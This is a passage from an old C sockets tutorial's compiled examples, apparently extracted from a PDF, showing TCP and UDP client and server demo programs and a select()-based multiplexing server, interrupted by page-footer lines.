if(listen(sockfd, BACKLOG) == -1)


{
perror("Server-listen() error");
exit(1);
}
printf("Server-listen() is OK...Listening...\n");

/*clean all the dead processes*/


sa.sa_handler = sigchld_handler;
sigemptyset(&sa.sa_mask);
sa.sa_flags = SA_RESTART;

if(sigaction(SIGCHLD, &sa, NULL) == -1)


{
perror("Server-sigaction() error");
exit(1);
}
else
printf("Server-sigaction() is OK...\n");

/*accept() loop*/
while(1)
{
sin_size = sizeof(struct sockaddr_in);
if((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1)
{
perror("Server-accept() error");
continue;
}
else
printf("Server-accept() is OK...\n");
printf("Server-new socket, new_fd is OK...\n");
printf("Server: Got connection from %s\n", inet_ntoa(their_addr.sin_addr));

/* this is the child process */


if(!fork())
{
/* child doesn’t need the listener */
close(sockfd);

if(send(new_fd, "This is a test string from server!\n", 37, 0) == -1)


perror("Server-send() error lol!");
close(new_fd);
exit(0);
}

file:///C|/Tutorial.txt (611 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

else
printf("Server-send is OK...!\n");

/* parent doesn’t need this*/


close(new_fd);
printf("Server-new socket, new_fd closed successfully...\n");
}
return 0;
}

-----------------------------------------------------------------------------------------------

/*** clientprog.c ****/


/*** a stream socket client demo ***/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

//the port client will be connecting to


#define PORT 3490
//max number of bytes we can get at once
#define MAXDATASIZE 300

int main(int argc, char *argv[])


{
int sockfd, numbytes;
char buf[MAXDATASIZE];
struct hostent *he;
//connector’s address information
struct sockaddr_in their_addr;

//if no command line argument supplied


if(argc != 2)
{
fprintf(stderr, "Client-Usage: %s the_client_hostname\n", argv[0]);
//just exit
exit(1);
}

//get the host info


if((he=gethostbyname(argv[1])) == NULL)
{
perror("gethostbyname()");
exit(1);
}
else
printf("Client-The remote host is: %s\n", argv[1]);

if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)


{

file:///C|/Tutorial.txt (612 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

perror("socket()");
exit(1);
}
else
printf("Client-The socket() sockfd is OK...\n");

//host byte order


their_addr.sin_family = AF_INET;
//short, network byte order
printf("Server-Using %s and port %d...\n", argv[1], PORT);
their_addr.sin_port = htons(PORT);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
//zero the rest of the struct
memset(&(their_addr.sin_zero), '\0', 8);

if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)


{
perror("connect()");
exit(1);
}
else
printf("Client-The connect() is OK...\n");

if((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)


{
perror("recv()");
exit(1);
}
else
printf("Client-The recv() is OK...\n");

buf[numbytes] = '\0';
printf("Client-Received: %s", buf);

printf("Client-Closing sockfd\n");
close(sockfd);
return 0;
}

-----------------------------------------------------------------------------------------------

/*receiverprog.c - a server, datagram sockets*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* the port users will be connecting to */
#define MYPORT 4950
#define MAXBUFLEN 500

int main(int argc, char *argv[])

file:///C|/Tutorial.txt (613 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
int sockfd;
/* my address information */
struct sockaddr_in my_addr;
/* connector’s address information */
struct sockaddr_in their_addr;
int addr_len, numbytes;
char buf[MAXBUFLEN];

if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)


{
perror("Server-socket() sockfd error lol!");
exit(1);
}
else
printf("Server-socket() sockfd is OK...\n");

/* host byte order */


my_addr.sin_family = AF_INET;
/* short, network byte order */
my_addr.sin_port = htons(MYPORT);
/* automatically fill with my IP */
my_addr.sin_addr.s_addr = INADDR_ANY;
/* zero the rest of the struct */
memset(&(my_addr.sin_zero), '\0', 8);

if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1)


{
perror("Server-bind() error lol!");
exit(1);
}
else
printf("Server-bind() is OK...\n");

addr_len = sizeof(struct sockaddr);

if((numbytes = recvfrom(sockfd, buf, MAXBUFLEN-1, 0, (struct sockaddr *)&their_addr, &addr_len)) == -1)


{
perror("Server-recvfrom() error lol!");
/*If something wrong, just exit lol...*/
exit(1);
}
else
{
printf("Server-Waiting and listening...\n");
printf("Server-recvfrom() is OK...\n");
}

printf("Server-Got packet from %s\n", inet_ntoa(their_addr.sin_addr));


printf("Server-Packet is %d bytes long\n", numbytes);
buf[numbytes] = '\0';
printf("Server-Packet contains \"%s\"\n", buf);

if(close(sockfd) != 0)
printf("Server-sockfd closing failed!\n");
else

file:///C|/Tutorial.txt (614 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf("Server-sockfd successfully closed!\n");


return 0;
}

-----------------------------------------------------------------------------------------------

/*senderprog.c - a client, datagram*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
/* the port users will be connecting to */
#define MYPORT 4950

int main(int argc, char *argv[])


{
int sockfd;
/* connector’s address information */
struct sockaddr_in their_addr;
struct hostent *he;
int numbytes;

if (argc != 3)
{
fprintf(stderr, "Client-Usage: %s <hostname> <message>\n", argv[0]);
exit(1);
}
/* get the host info */
if ((he = gethostbyname(argv[1])) == NULL)
{
perror("Client-gethostbyname() error lol!");
exit(1);
}
else
printf("Client-gethostname() is OK...\n");

if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)


{
perror("Client-socket() error lol!");
exit(1);
}
else
printf("Client-socket() sockfd is OK...\n");

/* host byte order */


their_addr.sin_family = AF_INET;
/* short, network byte order */
printf("Using port: 4950\n");
their_addr.sin_port = htons(MYPORT);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);

file:///C|/Tutorial.txt (615 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

/* zero the rest of the struct */


memset(&(their_addr.sin_zero), '\0', 8);

if((numbytes = sendto(sockfd, argv[2], strlen(argv[2]), 0, (struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1)
{
perror("Client-sendto() error lol!");
exit(1);
}
else
printf("Client-sendto() is OK...\n");

printf("sent %d bytes to %s\n", numbytes, inet_ntoa(their_addr.sin_addr));

if (close(sockfd) != 0)
printf("Client-sockfd closing is failed!\n");
else
printf("Client-sockfd successfully closed!\n");
return 0;
}

-----------------------------------------------------------------------------------------------

/*selectcp.c - a select() demo*/


#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
/* file descriptor for standard input */
#define STDIN 0

int main(int argc, char *argv[])


{
struct timeval tval;
fd_set readfds;
tval.tv_sec = 5;
tval.tv_usec = 800000;

FD_ZERO(&readfds);
FD_SET(STDIN, &readfds);
/* don’t care about writefds and exceptfds: */
select(STDIN+1, &readfds, NULL, NULL, &tval);
if (FD_ISSET(STDIN, &readfds))
printf("A key was pressed lor!\n");
else
printf("Timed out lor!...\n");
return 0;
}

==============================MODULE41=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |

file:///C|/Tutorial.txt (616 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

| holder. Any damage or loss by using the materials presented in this |


| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================

Compiled using gcc on Linux/Fedora Core 3 machine...

/*******select.c*********/
/*******Using select() for I/O multiplexing*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* port we're listening on */
#define PORT 2020

int main(int argc, char *argv[])


{
/* master file descriptor list */
fd_set master;
/* temp file descriptor list for select() */
fd_set read_fds;
/* server address */
struct sockaddr_in serveraddr;
/* client address */
struct sockaddr_in clientaddr;
/* maximum file descriptor number */
int fdmax;
/* listening socket descriptor */
int listener;
/* newly accept()ed socket descriptor */
int newfd;
/* buffer for client data */
char buf[1024];
int nbytes;
/* for setsockopt() SO_REUSEADDR, below */
int yes = 1;
int addrlen;
int i, j;
/* clear the master and temp sets */
FD_ZERO(&master);
FD_ZERO(&read_fds);

/* get the listener */


if((listener = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("Server-socket() error lol!");
/*just exit lol!*/

file:///C|/Tutorial.txt (617 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

exit(1);
}
printf("Server-socket() is OK...\n");
/*"address already in use" error message */
if(setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
{
perror("Server-setsockopt() error lol!");
exit(1);
}
printf("Server-setsockopt() is OK...\n");

/* bind */
serveraddr.sin_family = AF_INET;
serveraddr.sin_addr.s_addr = INADDR_ANY;
serveraddr.sin_port = htons(PORT);
memset(&(serveraddr.sin_zero), '\0', 8);

if(bind(listener, (struct sockaddr *)&serveraddr, sizeof(serveraddr)) == -1)


{
perror("Server-bind() error lol!");
exit(1);
}
printf("Server-bind() is OK...\n");

/* listen */
if(listen(listener, 10) == -1)
{
perror("Server-listen() error lol!");
exit(1);
}
printf("Server-listen() is OK...\n");

/* add the listener to the master set */


FD_SET(listener, &master);
/* keep track of the biggest file descriptor */
fdmax = listener; /* so far, it's this one*/

/* loop */
for(;;)
{
/* copy it */
read_fds = master;

if(select(fdmax+1, &read_fds, NULL, NULL, NULL) == -1)


{
perror("Server-select() error lol!");
exit(1);
}
printf("Server-select() is OK...\n");

/*run through the existing connections looking for data to be read*/


for(i = 0; i <= fdmax; i++)
{
if(FD_ISSET(i, &read_fds))
{ /* we got one... */
if(i == listener)

file:///C|/Tutorial.txt (618 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
/* handle new connections */
addrlen = sizeof(clientaddr);
if((newfd = accept(listener, (struct sockaddr *)&clientaddr, &addrlen)) == -1)
{
perror("Server-accept() error lol!");
}
else
{
printf("Server-accept() is OK...\n");

FD_SET(newfd, &master); /* add to master set */


if(newfd > fdmax)
{ /* keep track of the maximum */
fdmax = newfd;
}
printf("%s: New connection from %s on "
"socket %d\n", argv[0], inet_ntoa(clientaddr.sin_addr), newfd);
}
}
else
{
/* handle data from a client */
if((nbytes = recv(i, buf, sizeof(buf), 0)) <= 0)
{
/* got error or connection closed by client */
if(nbytes == 0)
/* connection closed */
printf("%s: socket %d hung up\n", argv[0], i);

else
perror("recv() error lol!");

/* close it... */
close(i);
/* remove from master set */
FD_CLR(i, &master);
}
else
{
/* we got some data from a client*/
for(j = 0; j <= fdmax; j++)
{
/* send to everyone! */
if(FD_ISSET(j, &master))
{
/*except the listener and ourselves */
if(j != listener && j != i)
{
if(send(j, buf, nbytes, 0) == -1)
perror("send() error lol!");
}
}
}
}
}

file:///C|/Tutorial.txt (619 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

}
}
}
return 0;
}

---------------------------------------------------------------------------------------

/************tcpserver.c************************/
/* Header files needed to use the sockets API. */
/* File contain Macro, Data Type and Structure */
/***********************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <unistd.h>
/* BufferLength is 100 bytes */
#define BufferLength 100
/* Server port number */
#define SERVPORT 3111

int main()
{
/* Variable and structure definitions. */
int sd, sd2, rc, length = sizeof(int);
int totalcnt = 0, on = 1;
char temp;
char buffer[BufferLength];
struct sockaddr_in serveraddr;
struct sockaddr_in their_addr;

fd_set read_fd;
struct timeval timeout;
timeout.tv_sec = 15;
timeout.tv_usec = 0;

/* The socket() function returns a socket descriptor */


/* representing an endpoint. The statement also */
/* identifies that the INET (Internet Protocol) */
/* address family with the TCP transport (SOCK_STREAM) */
/* will be used for this socket. */
/************************************************/
/* Get a socket descriptor */
if((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("Server-socket() error");
/* Just exit */
exit (-1);
}
else
printf("Server-socket() is OK\n");

file:///C|/Tutorial.txt (620 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

/* The setsockopt() function is used to allow */


/* the local address to be reused when the server */
/* is restarted before the required wait time */
/* expires. */
/***********************************************/
/* Allow socket descriptor to be reusable */
if((rc = setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))) < 0)
{
perror("Server-setsockopt() error");
close(sd);
exit (-1);
}
else
printf("Server-setsockopt() is OK\n");

/* bind to an address */
memset(&serveraddr, 0x00, sizeof(struct sockaddr_in));
serveraddr.sin_family = AF_INET;
serveraddr.sin_port = htons(SERVPORT);
serveraddr.sin_addr.s_addr = htonl(INADDR_ANY);

printf("Using %s, listening at %d\n", inet_ntoa(serveraddr.sin_addr), SERVPORT);

/* After the socket descriptor is created, a bind() */


/* function gets a unique name for the socket. */
/* In this example, the user sets the */
/* s_addr to zero, which allows the system to */
/* connect to any client that used port 3005. */
if((rc = bind(sd, (struct sockaddr *)&serveraddr, sizeof(serveraddr))) < 0)
{
perror("Server-bind() error");
/* Close the socket descriptor */
close(sd);
/* and just exit */
exit(-1);
}
else
printf("Server-bind() is OK\n");

/* The listen() function allows the server to accept */


/* incoming client connections. In this example, */
/* the backlog is set to 10. This means that the */
/* system can queue up to 10 connection requests before */
/* the system starts rejecting incoming requests.*/
/*************************************************/
/* Up to 10 clients can be queued */
if((rc = listen(sd, 10)) < 0)
{
perror("Server-listen() error");
close(sd);
exit (-1);
}
else
printf("Server-Ready for client connection...\n");

file:///C|/Tutorial.txt (621 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

/* The server will accept a connection request */


/* with this accept() function, provided the */
/* connection request does the following: */
/* - Is part of the same address family */
/* - Uses streams sockets (TCP) */
/* - Attempts to connect to the specified port */
/***********************************************/
/* accept() the incoming connection request. */

int sin_size = sizeof(struct sockaddr_in);


if((sd2 = accept(sd, (struct sockaddr *)&their_addr, &sin_size)) < 0)
{
perror("Server-accept() error");
close(sd);
exit (-1);
}
else
printf("Server-accept() is OK\n");

/*client IP*/
printf("Server-new socket, sd2 is OK...\n");
printf("Got connection from the f***ing client: %s\n", inet_ntoa(their_addr.sin_addr));

/* The select() function allows the process to */


/* wait for an event to occur and to wake up */
/* the process when the event occurs. In this */
/* example, the system notifies the process */
/* only when data is available to read. */
/***********************************************/
/* Wait for up to 15 seconds on */
/* select() for data to be read. */
FD_ZERO(&read_fd);
FD_SET(sd2, &read_fd);
rc = select(sd2+1, &read_fd, NULL, NULL, &timeout);
if((rc == 1) && (FD_ISSET(sd2, &read_fd)))
{
/* Read data from the client. */
totalcnt = 0;

while(totalcnt < BufferLength)


{
/* When select() indicates that there is data */
/* available, use the read() function to read */
/* 100 bytes of the string that the */
/* client sent. */
/***********************************************/
/* read() from client */
rc = read(sd2, &buffer[totalcnt], (BufferLength - totalcnt));
if(rc < 0)
{
perror("Server-read() error");
close(sd);
close(sd2);
exit (-1);
}
else if (rc == 0)

file:///C|/Tutorial.txt (622 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
printf("Client program has issued a close()\n");
close(sd);
close(sd2);
exit(-1);
}
else
{
totalcnt += rc;
printf("Server-read() is OK\n");
}

}
}
else if (rc < 0)
{
perror("Server-select() error");
close(sd);
close(sd2);
exit(-1);
}
/* rc == 0 */
else
{
printf("Server-select() timed out.\n");
close(sd);
close(sd2);
exit(-1);
}

/*Shows the data*/


printf("Received data from the f***ing client: %s\n", buffer);

/* Echo some bytes of string, back */


/* to the client by using the write() */
/* function. */
/************************************/
/* write() some bytes of string, */
/* back to the client. */
printf("Server-Echoing back to client...\n");
rc = write(sd2, buffer, totalcnt);
if(rc != totalcnt)
{
perror("Server-write() error");
/* Get the error number. */
rc = getsockopt(sd2, SOL_SOCKET, SO_ERROR, &temp, &length);
if(rc == 0)
{
/* Print out the asynchronously */
/* received error. */
errno = temp;
perror("SO_ERROR was: ");
}
else
printf("Server-write() is OK\n");

file:///C|/Tutorial.txt (623 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

close(sd);
close(sd2);
exit(-1);
}

/* When the data has been sent, close() */


/* the socket descriptor that was returned */
/* from the accept() verb and close() the */
/* original socket descriptor. */
/*****************************************/
/* Close the connection to the client and */
/* close the server listening socket. */
/******************************************/
close(sd2);
close(sd);
exit(0);
return 0;
}

---------------------------------------------------------------------------------------

/************tcpclient.c************************/
/* Header files needed to use the sockets API. */
/* File contains Macro, Data Type and */
/* Structure definitions along with Function */
/* prototypes. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>
/* BufferLength is 100 bytes */
#define BufferLength 100
/* Default host name of server system. Change it to your default */
/* server hostname or IP. If the user do not supply the hostname */
/* as an argument, the_server_name_or_IP will be used as default*/
#define SERVER "The_server_name_or_IP"
/* Server's port number */
#define SERVPORT 3111

/* Pass in 1 parameter which is either the */


/* address or host name of the server, or */
/* set the server name in the #define SERVER ... */
int main(int argc, char *argv[])
{
/* Variable and structure definitions. */
int sd, rc, length = sizeof(int);
struct sockaddr_in serveraddr;
char buffer[BufferLength];
char server[255];
char temp;

file:///C|/Tutorial.txt (624 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int totalcnt = 0;
struct hostent *hostp;
char data[100] = "This is a test string from client lol!!! ";

/* The socket() function returns a socket */


/* descriptor representing an endpoint. */
/* The statement also identifies that the */
/* INET (Internet Protocol) address family */
/* with the TCP transport (SOCK_STREAM) */
/* will be used for this socket. */
/******************************************/
/* get a socket descriptor */
if((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("Client-socket() error");
exit(-1);
}
else
printf("Client-socket() OK\n");
/*If the server hostname is supplied*/
if(argc > 1)
{
/*Use the supplied argument*/
strcpy(server, argv[1]);
printf("Connecting to the f***ing %s, port %d ...\n", server, SERVPORT);
}
else
/*Use the default server name or IP*/
strcpy(server, SERVER);

memset(&serveraddr, 0x00, sizeof(struct sockaddr_in));


serveraddr.sin_family = AF_INET;
serveraddr.sin_port = htons(SERVPORT);

if((serveraddr.sin_addr.s_addr = inet_addr(server)) == (unsigned long)INADDR_NONE)


{

/* When passing the host name of the server as a */


/* parameter to this program, use the gethostbyname() */
/* function to retrieve the address of the host server. */
/***************************************************/
/* get host address */
hostp = gethostbyname(server);
if(hostp == (struct hostent *)NULL)
{
printf("HOST NOT FOUND --> ");
/* h_errno is usually defined */
/* in netdb.h */
printf("h_errno = %d\n",h_errno);
printf("---This is a client program---\n");
printf("Command usage: %s <server name or IP>\n", argv[0]);
close(sd);
exit(-1);
}
memcpy(&serveraddr.sin_addr, hostp->h_addr, sizeof(serveraddr.sin_addr));
}

file:///C|/Tutorial.txt (625 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

/* After the socket descriptor is received, the */


/* connect() function is used to establish a */
/* connection to the server. */
/***********************************************/
/* connect() to server. */
if((rc = connect(sd, (struct sockaddr *)&serveraddr, sizeof(serveraddr))) < 0)
{
perror("Client-connect() error");
close(sd);
exit(-1);
}
else
printf("Connection established...\n");

/* Send string to the server using */


/* the write() function. */
/*********************************************/
/* Write() some string to the server. */
printf("Sending some string to the f***ing %s...\n", server);
rc = write(sd, data, sizeof(data));

if(rc < 0)
{
perror("Client-write() error");
rc = getsockopt(sd, SOL_SOCKET, SO_ERROR, &temp, &length);
if(rc == 0)
{
/* Print out the asynchronously received error. */
errno = temp;
perror("SO_ERROR was");
}
close(sd);
exit(-1);
}
else
{
printf("Client-write() is OK\n");
printf("String successfully sent lol!\n");
printf("Waiting the %s to echo back...\n", server);
}

totalcnt = 0;
while(totalcnt < BufferLength)
{

/* Wait for the server to echo the */


/* string by using the read() function. */
/***************************************/
/* Read data from the server. */
rc = read(sd, &buffer[totalcnt], BufferLength-totalcnt);
if(rc < 0)
{
perror("Client-read() error");
close(sd);
exit(-1);

file:///C|/Tutorial.txt (626 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

}
else if (rc == 0)
{
printf("Server program has issued a close()\n");
close(sd);
exit(-1);
}
else
totalcnt += rc;
}
printf("Client-read() is OK\n");
printf("Echoed data from the f***ing server: %s\n", buffer);

/* When the data has been read, close() */


/* the socket descriptor. */
/****************************************/
/* Close socket descriptor from client side. */
close(sd);
exit(0);
return 0;
}

---------------------------------------------------------------------------------------

/*******************udpserver.c*****************/
/* Header files needed to use the sockets API. */
/* File contain Macro, Data Type and Structure */
/* definitions along with Function prototypes. */
/* header files */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* Server's port number, listen at 3333 */
#define SERVPORT 3333

/* Run the server without argument */


int main(int argc, char *argv[])
{
/* Variable and structure definitions. */
int sd, rc;
struct sockaddr_in serveraddr, clientaddr;
int clientaddrlen = sizeof(clientaddr);
int serveraddrlen = sizeof(serveraddr);
char buffer[100];
char *bufptr = buffer;
int buflen = sizeof(buffer);

/* The socket() function returns a socket */


/* descriptor representing an endpoint. */
/* The statement also identifies that the */
/* INET (Internet Protocol) address family */
/* with the UDP transport (SOCK_DGRAM) will */

file:///C|/Tutorial.txt (627 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

/* be used for this socket. */


/******************************************/
/* get a socket descriptor */
if((sd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
{
perror("UDP server - socket() error");
exit(-1);
}
else
printf("UDP server - socket() is OK\n");

printf("UDP server - try to bind...\n");

/* After the socket descriptor is received, */


/* a bind() is done to assign a unique name */
/* to the socket. In this example, the user */
/* set the s_addr to zero. This allows the */
/* system to connect to any client that uses */
/* port 3333. */
/********************************************/
/* bind to address */
memset(&serveraddr, 0x00, serveraddrlen);
serveraddr.sin_family = AF_INET;
serveraddr.sin_port = htons(SERVPORT);
serveraddr.sin_addr.s_addr = htonl(INADDR_ANY);
if((rc = bind(sd, (struct sockaddr *)&serveraddr, serveraddrlen)) < 0)
{
perror("UDP server - bind() error");
close(sd);
/* If something wrong with socket(), just exit lol */
exit(-1);
}
else
printf("UDP server - bind() is OK\n");

printf("Using IP %s and port %d\n", inet_ntoa(serveraddr.sin_addr), SERVPORT);


printf("UDP server - Listening...\n");

/* Use the recvfrom() function to receive the */


/* data. The recvfrom() function waits */
/* indefinitely for data to arrive. */
/************************************************/
/* This example does not use flags that control */
/* the reception of the data. */
/************************************************/
/* Wait on client requests. */
rc = recvfrom(sd, bufptr, buflen, 0, (struct sockaddr *)&clientaddr, &clientaddrlen);
if(rc < 0)
{
perror("UDP Server - recvfrom() error");
close(sd);
exit(-1);
}
else
printf("UDP Server - recvfrom() is OK...\n");

file:///C|/Tutorial.txt (628 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf("UDP Server received the following:\n \"%s\" message\n", bufptr);


printf("from port %d and address %s.\n", ntohs(clientaddr.sin_port),
inet_ntoa(clientaddr.sin_addr));

/* Send a reply by using the sendto() function. */


/* In this example, the system echoes the received */
/* data back to the client. */
/************************************************/
/* This example does not use flags that control */
/* the transmission of the data */
/************************************************/
/* Send a reply, just echo the request */
printf("UDP Server replying to the stupid UDP client...\n");
rc = sendto(sd, bufptr, buflen, 0, (struct sockaddr *)&clientaddr, clientaddrlen);
if(rc < 0)
{
perror("UDP server - sendto() error");
close(sd);
exit(-1);
}
else
printf("UDP Server - sendto() is OK...\n");

/* When the data has been sent, close() the */


/* socket descriptor. */
/********************************************/
/* close() the socket descriptor. */
close(sd);
exit(0);
}

------------------------------------------------------------------------------------------------------------

/****************udpclient.c********************/
/* Header files needed to use the sockets API. */
/* File contain Macro, Data Type and Structure */
/* definitions along with Function prototypes. */
/***********************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

/* Host name of my system, change accordingly */


/* Put the server hostname that run the UDP server program */
/* This will be used as default UDP server for client connection */
#define SERVER "bakawali"
/* Server's port number */
#define SERVPORT 3333
/* Pass in 1 argument (argv[1]) which is either the */
/* address or host name of the server, or */
/* set the server name in the #define SERVER above. */

file:///C|/Tutorial.txt (629 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int main(int argc, char *argv[])


{
/* Variable and structure definitions. */
int sd, rc;
struct sockaddr_in serveraddr, clientaddr;
int serveraddrlen = sizeof(serveraddr);
char server[255];
char buffer[100];
char *bufptr = buffer;
int buflen = sizeof(buffer);
struct hostent *hostp;
memset(buffer, 0x00, sizeof(buffer));
/* 36 characters + terminating NULL */
memcpy(buffer, "Hello! A client request message lol!", 37);

/* The socket() function returns a socket */


/* descriptor representing an endpoint. */
/* The statement also identifies that the */
/* INET (Internet Protocol) address family */
/* with the UDP transport (SOCK_DGRAM) will */
/* be used for this socket. */
/******************************************/
/* get a socket descriptor */
if((sd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
{
perror("UDP Client - socket() error");
/* Just exit lol! */
exit(-1);
}
else
printf("UDP Client - socket() is OK!\n");

/* If the hostname/IP of the server is supplied */


/* Or if(argc = 2) */
if(argc > 1)
strcpy(server, argv[1]);
else
{
/*Use default hostname or IP*/
printf("UDP Client - Usage %s <Server hostname or IP>\n", argv[0]);
printf("UDP Client - Using default hostname/IP!\n");

strcpy(server, SERVER);
}

memset(&serveraddr, 0x00, sizeof(struct sockaddr_in));


serveraddr.sin_family = AF_INET;
serveraddr.sin_port = htons(SERVPORT);

if((serveraddr.sin_addr.s_addr = inet_addr(server)) == (unsigned long)INADDR_NONE)


{
/* Use the gethostbyname() function to retrieve */
/* the address of the host server if the system */
/* passed the host name of the server as a parameter. */
/************************************************/

file:///C|/Tutorial.txt (630 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

/* get server address */


hostp = gethostbyname(server);
if(hostp == (struct hostent *)NULL)
{
printf("HOST NOT FOUND --> ");
/* h_errno is usually defined */
/* in netdb.h */
printf("h_errno = %d\n", h_errno);
exit(-1);
}
else
{
printf("UDP Client - gethostname() of the server is OK... \n");
printf("Connected to UDP server %s on port %d.\n", server, SERVPORT);
}
memcpy(&serveraddr.sin_addr, hostp->h_addr, sizeof(serveraddr.sin_addr));
}

/* Use the sendto() function to send the data */


/* to the server. */
/************************************************/
/* This example does not use flags that control */
/* the transmission of the data. */
/************************************************/
/* send request to server */
rc = sendto(sd, bufptr, buflen, 0, (struct sockaddr *)&serveraddr, sizeof(serveraddr));
if(rc < 0)
{
perror("UDP Client - sendto() error");
close(sd);
exit(-1);
}
else
printf("UDP Client - sendto() is OK!\n");

printf("Waiting a reply from UDP server...\n");

/* Use the recvfrom() function to receive the */


/* data back from the server. */
/************************************************/
/* This example does not use flags that control */
/* the reception of the data. */
/************************************************/
/* Read server reply. */
/* Note: serveraddr is reset on the recvfrom() function. */
rc = recvfrom(sd, bufptr, buflen, 0, (struct sockaddr *)&serveraddr, &serveraddrlen);

if(rc < 0)
{
perror("UDP Client - recvfrom() error");
close(sd);
exit(-1);
}
else
{
printf("UDP client received the following: \"%s\" message\n", bufptr);

file:///C|/Tutorial.txt (631 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf(" from port %d, address %s\n", ntohs(serveraddr.sin_port),


inet_ntoa(serveraddr.sin_addr));
}

/* When the data has been received, close() */


/* the socket descriptor. */
/********************************************/
/* close() the socket descriptor. */
close(sd);
exit(0);
}

----------------------------------------------------------------------------------------------------------

/**** iserver.c ****/


#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define SERVER_PORT 12345

/* Run with a number of incoming connection as argument */


int main(int argc, char *argv[])
{
int i, len, num, rc;
int listen_sd, accept_sd;
/* Buffer for data */
char buffer[100];
struct sockaddr_in addr;

/* If an argument was specified, use it to */


/* control the number of incoming connections */
if(argc >= 2)
num = atoi(argv[1]);
/* Prompt some message */
else
{
printf("Usage: %s <The_number_of_client_connection else 1 will be used>\n", argv[0]);
num = 1;
}

/* Create an AF_INET stream socket to receive */


/* incoming connections on */
listen_sd = socket(AF_INET, SOCK_STREAM, 0);
if(listen_sd < 0)
{
perror("Iserver - socket() error");
exit(-1);
}
else
printf("Iserver - socket() is OK\n");

printf("Binding the socket...\n");


/* Bind the socket */
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;

file:///C|/Tutorial.txt (632 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(SERVER_PORT);
rc = bind(listen_sd, (struct sockaddr *)&addr, sizeof(addr));
if(rc < 0)
{
perror("Iserver - bind() error");
close(listen_sd);
exit(-1);
}
else
printf("Iserver - bind() is OK\n");

/* Set the listen backlog */


rc = listen(listen_sd, 5);
if(rc < 0)
{
perror("Iserver - listen() error");
close(listen_sd);
exit(-1);
}
else
printf("Iserver - listen() is OK\n");

/* Inform the user that the server is ready */


printf("The Iserver is ready!\n");
